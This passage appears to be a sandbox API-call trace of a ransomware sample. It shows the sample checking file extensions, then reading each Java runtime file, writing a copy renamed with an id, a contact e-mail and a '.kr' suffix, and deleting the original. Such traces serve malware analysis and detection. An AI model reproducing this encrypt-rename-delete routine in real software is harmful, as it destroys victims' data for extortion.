(lpString1=".docx", lpString2="rties") returned -1 [0181.992] lstrlenW (lpString=".pdf") returned 4 [0181.992] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0181.992] lstrlenW (lpString=".xls") returned 4 [0181.992] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0181.992] lstrlenW (lpString=".xlsx") returned 5 [0181.992] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0181.992] lstrlenW (lpString=".ppt") returned 4 [0181.992] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0181.992] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties") returned 56 [0181.992] lstrlenW (lpString=".zip") returned 4 [0181.992] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0181.992] lstrlenW (lpString=".rar") returned 4 [0181.992] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0181.992] lstrlenW (lpString=".bz2") returned 4 [0181.992] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0181.992] lstrlenW (lpString=".7z") returned 3 [0181.992] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0181.992] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties") returned 56 [0181.992] lstrlenW (lpString=".dbf") returned 4 [0181.992] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0181.992] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties") returned 56 [0181.992] lstrlenW (lpString=".1cd") returned 4 [0181.992] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0181.992] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties") returned 56 [0181.992] lstrlenW (lpString=".jpg") returned 4 [0181.992] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0181.993] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties") returned 56 [0181.993] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties") returned 56 [0181.993] lstrlenW (lpString=".doc") returned 4 [0181.993] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0181.993] lstrlenW (lpString=".docx") returned 5 [0181.993] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0181.993] lstrlenW (lpString=".pdf") returned 4 [0181.993] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0181.993] lstrlenW (lpString=".xls") returned 4 [0181.993] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0181.993] lstrlenW (lpString=".xlsx") returned 5 [0181.993] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0181.993] lstrlenW (lpString=".ppt") returned 4 [0181.993] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0181.993] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties") returned 56 [0181.993] lstrlenW (lpString=".zip") returned 4 [0181.993] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0181.993] lstrlenW (lpString=".rar") returned 4 [0181.993] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0181.993] lstrlenW (lpString=".bz2") returned 4 [0181.993] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0181.993] lstrlenW (lpString=".7z") returned 3 [0181.993] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0181.993] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties") returned 56 [0181.993] lstrlenW (lpString=".dbf") returned 4 [0181.993] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0181.993] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties") returned 56 [0181.993] lstrlenW (lpString=".1cd") returned 4 [0181.993] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0181.993] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties") returned 56 [0181.993] lstrlenW (lpString=".jpg") returned 4 [0181.993] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0181.994] lstrcmpiW (lpString1=".jar", lpString2=".kr") returned -1 [0181.994] lstrlenW (lpString="jfxswt.jar") returned 10 [0181.994] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfxswt.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0181.994] GetFileSizeEx (in: hFile=0x488, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=33932) returned 1 [0181.994] CloseHandle (hObject=0x488) returned 1 [0181.994] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfxswt.jar")) returned 0x20 [0181.994] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfxswt.jar.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0181.995] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfxswt.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0181.995] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0181.995] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0181.995] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfxswt.jar.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x48c [0181.996] GetLastError () returned 0x0 [0181.996] ReadFile (in: hFile=0x488, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x848c, lpOverlapped=0x0) returned 1 [0181.998] WriteFile (in: hFile=0x48c, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x8490, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x8490, lpOverlapped=0x0) returned 1 [0181.999] ReadFile (in: hFile=0x488, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0181.999] WriteFile (in: hFile=0x48c, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0xe8, lpOverlapped=0x0) returned 1 [0182.000] SetEndOfFile (hFile=0x48c) returned 1 [0182.000] CloseHandle (hObject=0x48c) returned 1 [0182.000] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0182.000] SetEndOfFile (hFile=0x488) returned 1 [0182.003] CloseHandle (hObject=0x488) returned 1 [0182.003] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0182.003] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfxswt.jar")) returned 1 [0182.004] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar") returned 49 [0182.004] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar") returned 49 [0182.004] lstrlenW (lpString=".doc") returned 4 [0182.004] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0182.004] lstrlenW (lpString=".docx") returned 5 [0182.004] lstrcmpiW (lpString1=".docx", lpString2="t.jar") returned -1 [0182.004] lstrlenW (lpString=".pdf") returned 4 [0182.004] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0182.004] lstrlenW (lpString=".xls") returned 4 [0182.004] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0182.004] lstrlenW (lpString=".xlsx") returned 5 [0182.004] lstrcmpiW (lpString1=".xlsx", lpString2="t.jar") returned -1 [0182.004] lstrlenW (lpString=".ppt") returned 4 [0182.004] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0182.004] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar") returned 49 [0182.004] lstrlenW (lpString=".zip") returned 4 [0182.004] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0182.004] lstrlenW (lpString=".rar") returned 4 [0182.004] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0182.004] lstrlenW (lpString=".bz2") returned 4 [0182.004] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0182.004] lstrlenW (lpString=".7z") returned 3 [0182.004] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0182.004] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar") returned 49 [0182.004] lstrlenW (lpString=".dbf") returned 4 [0182.004] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0182.004] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar") returned 49 [0182.005] lstrlenW (lpString=".1cd") returned 4 [0182.005] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0182.005] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar") returned 49 [0182.005] lstrlenW (lpString=".jpg") returned 4 [0182.005] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0182.005] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar") returned 49 [0182.005] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar") returned 49 [0182.005] lstrlenW (lpString=".doc") returned 4 [0182.005] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0182.005] lstrlenW (lpString=".docx") returned 5 [0182.005] lstrcmpiW (lpString1=".docx", lpString2="t.jar") returned -1 [0182.005] lstrlenW (lpString=".pdf") returned 4 [0182.005] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0182.005] lstrlenW (lpString=".xls") returned 4 [0182.005] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0182.005] lstrlenW (lpString=".xlsx") returned 5 [0182.005] lstrcmpiW (lpString1=".xlsx", lpString2="t.jar") returned -1 [0182.005] lstrlenW (lpString=".ppt") returned 4 [0182.005] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0182.005] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar") returned 49 [0182.005] lstrlenW (lpString=".zip") returned 4 [0182.005] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0182.005] lstrlenW (lpString=".rar") returned 4 [0182.005] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0182.005] lstrlenW (lpString=".bz2") returned 4 [0182.005] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0182.005] lstrlenW (lpString=".7z") returned 3 [0182.005] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0182.005] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar") returned 49 [0182.005] lstrlenW (lpString=".dbf") returned 4 [0182.005] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0182.005] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar") returned 49 [0182.005] lstrlenW (lpString=".1cd") returned 4 [0182.006] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0182.006] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar") returned 49 [0182.006] lstrlenW (lpString=".jpg") returned 4 [0182.006] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0182.006] lstrcmpiW (lpString1=".jar", lpString2=".kr") returned -1 [0182.006] lstrlenW (lpString="jsse.jar") returned 8 [0182.006] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jsse.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0182.006] GetFileSizeEx (in: hFile=0x488, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=584576) returned 1 [0182.006] CloseHandle (hObject=0x488) returned 1 [0182.006] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jsse.jar")) returned 0x20 [0182.006] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jsse.jar.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0182.007] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jsse.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0182.007] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0182.007] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0182.007] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jsse.jar.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x48c [0182.007] GetLastError () returned 0x0 [0182.007] ReadFile (in: hFile=0x488, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x8eb80, lpOverlapped=0x0) returned 1 [0182.497] WriteFile (in: hFile=0x48c, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x8eb90, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x8eb90, lpOverlapped=0x0) returned 1 [0182.508] ReadFile (in: hFile=0x488, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0182.508] WriteFile (in: hFile=0x48c, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0xe4, lpOverlapped=0x0) returned 1 [0182.508] SetEndOfFile (hFile=0x48c) returned 1 [0182.508] CloseHandle (hObject=0x48c) returned 1 [0182.508] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0182.508] SetEndOfFile (hFile=0x488) returned 1 [0182.523] CloseHandle (hObject=0x488) returned 1 [0182.523] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0182.523] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jsse.jar")) returned 1 [0182.524] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar") returned 47 [0182.524] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar") returned 47 [0182.524] lstrlenW (lpString=".doc") returned 4 [0182.524] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0182.525] lstrlenW (lpString=".docx") returned 5 [0182.525] lstrcmpiW (lpString1=".docx", lpString2="e.jar") returned -1 [0182.525] lstrlenW (lpString=".pdf") returned 4 [0182.525] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0182.525] lstrlenW (lpString=".xls") returned 4 [0182.525] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0182.525] lstrlenW (lpString=".xlsx") returned 5 [0182.525] lstrcmpiW (lpString1=".xlsx", lpString2="e.jar") returned -1 [0182.525] lstrlenW (lpString=".ppt") returned 4 [0182.525] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0182.525] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar") returned 47 [0182.525] lstrlenW (lpString=".zip") returned 4 [0182.525] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0182.525] lstrlenW (lpString=".rar") returned 4 [0182.525] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0182.525] lstrlenW (lpString=".bz2") returned 4 [0182.525] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0182.525] lstrlenW (lpString=".7z") returned 3 [0182.525] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0182.525] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar") returned 47 [0182.525] lstrlenW (lpString=".dbf") returned 4 [0182.525] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0182.525] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar") returned 47 [0182.525] lstrlenW (lpString=".1cd") returned 4 [0182.525] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0182.525] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar") returned 47 [0182.525] lstrlenW (lpString=".jpg") returned 4 [0182.525] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0182.525] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar") returned 47 [0182.525] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar") returned 47 [0182.525] lstrlenW (lpString=".doc") returned 4 [0182.525] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0182.526] lstrlenW (lpString=".docx") returned 5 [0182.526] lstrcmpiW (lpString1=".docx", lpString2="e.jar") returned -1 [0182.526] lstrlenW (lpString=".pdf") returned 4 [0182.526] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0182.526] lstrlenW (lpString=".xls") returned 4 [0182.526] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0182.526] lstrlenW (lpString=".xlsx") returned 5 [0182.526] lstrcmpiW (lpString1=".xlsx", lpString2="e.jar") returned -1 [0182.526] lstrlenW (lpString=".ppt") returned 4 [0182.526] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0182.526] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar") returned 47 [0182.526] lstrlenW (lpString=".zip") returned 4 [0182.526] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0182.526] lstrlenW (lpString=".rar") returned 4 [0182.526] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0182.526] lstrlenW (lpString=".bz2") returned 4 [0182.526] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0182.526] lstrlenW (lpString=".7z") returned 3 [0182.526] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0182.526] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar") returned 47 [0182.526] lstrlenW (lpString=".dbf") returned 4 [0182.526] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0182.526] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar") returned 47 [0182.526] lstrlenW (lpString=".1cd") returned 4 [0182.526] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0182.526] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar") returned 47 [0182.526] lstrlenW (lpString=".jpg") returned 4 [0182.526] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0182.526] lstrcmpiW (lpString1=".template", lpString2=".kr") returned 1 [0182.527] lstrlenW (lpString="jmxremote.password.template") returned 27 [0182.527] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0182.541] GetFileSizeEx (in: hFile=0x3e0, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=2856) returned 1 [0182.541] CloseHandle (hObject=0x3e0) returned 1 [0182.541] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template")) returned 0x20 [0182.541] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0182.579] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0182.579] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0182.579] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0182.579] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0182.580] GetLastError () returned 0x0 [0182.580] ReadFile (in: hFile=0x3e0, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0xb28, lpOverlapped=0x0) returned 1 [0182.590] WriteFile (in: hFile=0x488, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0xb30, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0xb30, lpOverlapped=0x0) returned 1 [0182.591] ReadFile (in: hFile=0x3e0, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0182.591] WriteFile (in: hFile=0x488, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x10a, lpOverlapped=0x0) returned 1 [0182.591] SetEndOfFile (hFile=0x488) returned 1 [0182.591] CloseHandle (hObject=0x488) returned 1 [0182.591] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0182.591] SetEndOfFile (hFile=0x3e0) returned 1 [0182.594] CloseHandle (hObject=0x3e0) returned 1 [0182.594] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0182.594] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template")) returned 1 [0182.595] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template") returned 77 [0182.595] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template") returned 77 [0182.595] lstrlenW (lpString=".doc") returned 4 [0182.595] lstrcmpiW (lpString1=".doc", lpString2="late") returned -1 [0182.595] lstrlenW (lpString=".docx") returned 5 [0182.595] lstrcmpiW (lpString1=".docx", lpString2="plate") returned -1 [0182.595] lstrlenW (lpString=".pdf") returned 4 [0182.595] lstrcmpiW (lpString1=".pdf", lpString2="late") returned -1 [0182.595] lstrlenW (lpString=".xls") returned 4 [0182.595] lstrcmpiW (lpString1=".xls", lpString2="late") returned -1 [0182.595] lstrlenW (lpString=".xlsx") returned 5 [0182.595] lstrcmpiW (lpString1=".xlsx", lpString2="plate") returned -1 [0182.595] lstrlenW (lpString=".ppt") returned 4 [0182.595] lstrcmpiW (lpString1=".ppt", lpString2="late") returned -1 [0182.595] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template") returned 77 [0182.595] lstrlenW (lpString=".zip") returned 4 [0182.595] lstrcmpiW (lpString1=".zip", lpString2="late") returned -1 [0182.595] lstrlenW (lpString=".rar") returned 4 [0182.595] lstrcmpiW (lpString1=".rar", lpString2="late") returned -1 [0182.595] lstrlenW (lpString=".bz2") returned 4 [0182.595] lstrcmpiW (lpString1=".bz2", lpString2="late") returned -1 [0182.595] lstrlenW (lpString=".7z") returned 3 [0182.595] lstrcmpiW (lpString1=".7z", lpString2="ate") returned -1 [0182.595] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template") returned 77 [0182.596] lstrlenW (lpString=".dbf") returned 4 [0182.596] lstrcmpiW (lpString1=".dbf", lpString2="late") returned -1 [0182.596] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template") returned 77 [0182.596] lstrlenW (lpString=".1cd") returned 4 [0182.596] lstrcmpiW (lpString1=".1cd", lpString2="late") returned -1 [0182.596] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template") returned 77 [0182.596] lstrlenW (lpString=".jpg") returned 4 [0182.596] lstrcmpiW 